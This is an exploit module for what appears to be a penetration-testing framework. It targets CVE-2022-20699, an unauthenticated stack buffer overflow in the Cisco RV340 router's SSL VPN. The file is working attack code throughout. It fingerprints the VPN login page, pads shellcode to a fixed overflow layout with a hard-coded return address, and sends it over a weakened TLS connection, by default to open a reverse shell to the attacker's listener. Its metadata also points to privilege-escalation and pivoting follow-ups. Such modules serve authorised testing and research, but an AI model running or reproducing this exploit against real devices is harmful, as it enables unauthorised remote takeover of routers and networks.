Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import secrets
import socket
import ssl
import string
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)', 'description': 'Stack buffer overflow in SSL VPN. Sends ``self.payload`` bytes (ARM stager, optionally encoded by the framework) padded to the Flashback PoC layout, over TLS.', 'author': ['Pedro Ribeiro', 'Radek Domanski', 'Flashback Team', 'KittySploit Team'], 'cve': ['CVE-2022-20699'], 'arch': [Arch.ARM], 'platform': Platform.LINUX, 'references': ['https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'], 'payload': {'default': 'payloads/singles/cmd/armle/reverse_tcp', 'arch': Arch.ARM, 'platform': Platform.LINUX, 'category': PayloadCategory.CMD}, 'tags': ['cisco', 'rv340', 'sslvpn', 'router', 'rce'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals'], 'cost': 1.5, 'noise': 0.5, 'value': 1.0, 'requires': {'min_endpoints': 0, 'min_params': 0, 'tech_hints_any': [], 'tech_hints_all': [], 'specializations_any': [], 'risk_signals_any': [], 'auth_session': False, 'capabilities_any': [], 'capabilities_all': [], 'confidence_min': {}, 'confidence_min_any': {}, 'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'shell', 'from_detail': ''}], 'consumes_capabilities': [], 'option_bindings': {}, 'suggested_followups': ['post/shell/multi/gather/privesc_suggester', 'post/shell/multi/manage/pivot_autoroute']}}}
    _PATH_JUNK = 134
    _BODY_TOTAL = 16404
    _PRE_PAD = 16400
    _THUMB_PC = b'\x99\xedJp'
    _LOGIN_MARKER = 'The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server'
    _ALPHA = string.ascii_letters + string.digits
    port = OptPort(8443, 'HTTPS port', True)
    ssl = OptBool(True, 'HTTPS', True)

    @staticmethod
    def _as_bytes(raw) -> bytes:
        if raw is None:
            return b''
        if isinstance(raw, bytes):
            return raw
        if isinstance(raw, bytearray):
            return bytes(raw)
        if isinstance(raw, str):
            return raw.encode('latin-1', errors='replace')
        return bytes(raw)

    def _full_body(self, shellcode: bytes) -> bytes:
        if len(shellcode) > self._PRE_PAD:
            raise ValueError('payload bytes larger than exploit buffer (16400 bytes before PC)')
        pad = self._PRE_PAD - len(shellcode)
        filler = ''.join((secrets.choice(self._ALPHA) for _ in range(pad))).encode('latin-1')
        return shellcode + filler + self._THUMB_PC

    def _tls_socket(self, host: str, port: int):
        raw = socket.create_connection((host, int(port)), timeout=15)
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            ctx.minimum_version = ssl.TLSVersion.TLSv1
        except Exception:
            pass
        try:
            ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
        except Exception:
            pass
        for spec in ('DEFAULT:@SECLEVEL=0', 'ALL:@SECLEVEL=0'):
            try:
                ctx.set_ciphers(spec)
                break
            except Exception:
                continue
        return ctx.wrap_socket(raw, server_hostname=host)

    def check(self):
        try:
            r = self.http_request(method='GET', path='/login.html', timeout=12, allow_redirects=True)
            if r and r.status_code == 200 and (self._LOGIN_MARKER in (r.text or '')):
                return {'vulnerable': True, 'reason': 'SSL VPN login page fingerprint (CVE-2022-20699 family)', 'confidence': 'high'}
        except Exception as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'SSL VPN fingerprint not matched', 'confidence': 'low'}

    def run(self):
        if not str(self.target or '').strip():
            print_error('target is required')
            return False
        sc = self._as_bytes(self.payload)
        if not sc:
            print_error('No payload bytes — set payload (e.g. payloads/singles/cmd/armle/reverse_tcp) and options')
            return False
        try:
            lh, lp = (str(self.lhost), int(self.lport))
            if lh.strip() in ('127.0.0.1', '::1', '0.0.0.0'):
                print_warning('lhost is loopback — the router must reach your real listener IP')
            print_info(f'Using framework payload: {len(sc)} bytes → listener {lh}:{lp}')
        except Exception:
            print_info(f'Using framework payload: {len(sc)} bytes')
        rhost = str(self.target).strip()
        rport = int(self.port)
        try:
            body = self._full_body(sc)
        except Exception as exc:
            print_error(str(exc))
            return False
        if len(body) != self._BODY_TOTAL:
            print_error(f'body length {len(body)}, expected {self._BODY_TOTAL}')
            return False
        tag = ''.join((secrets.choice(self._ALPHA) for _ in range(self._PATH_JUNK)))
        header = f'POST /{tag} HTTP/1.1\r\nContent-Length: {self._BODY_TOTAL}\r\n\r\n'.encode()
        try:
            tls = self._tls_socket(rhost, rport)
        except Exception as exc:
            print_error(f'TLS to {rhost}:{rport} failed: {exc}')
            self.not_vulnerable()
            return False
        try:
            tls.sendall(header)
            tls.sendall(body)
            print_success(f'Sent exploit ({len(header) + len(body)} bytes) — retry if no shell (stack slot ~65%)')
            self.vulnerable()
            return True
        except Exception as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False
        finally:
            try:
                tls.close()
            except Exception:
                pass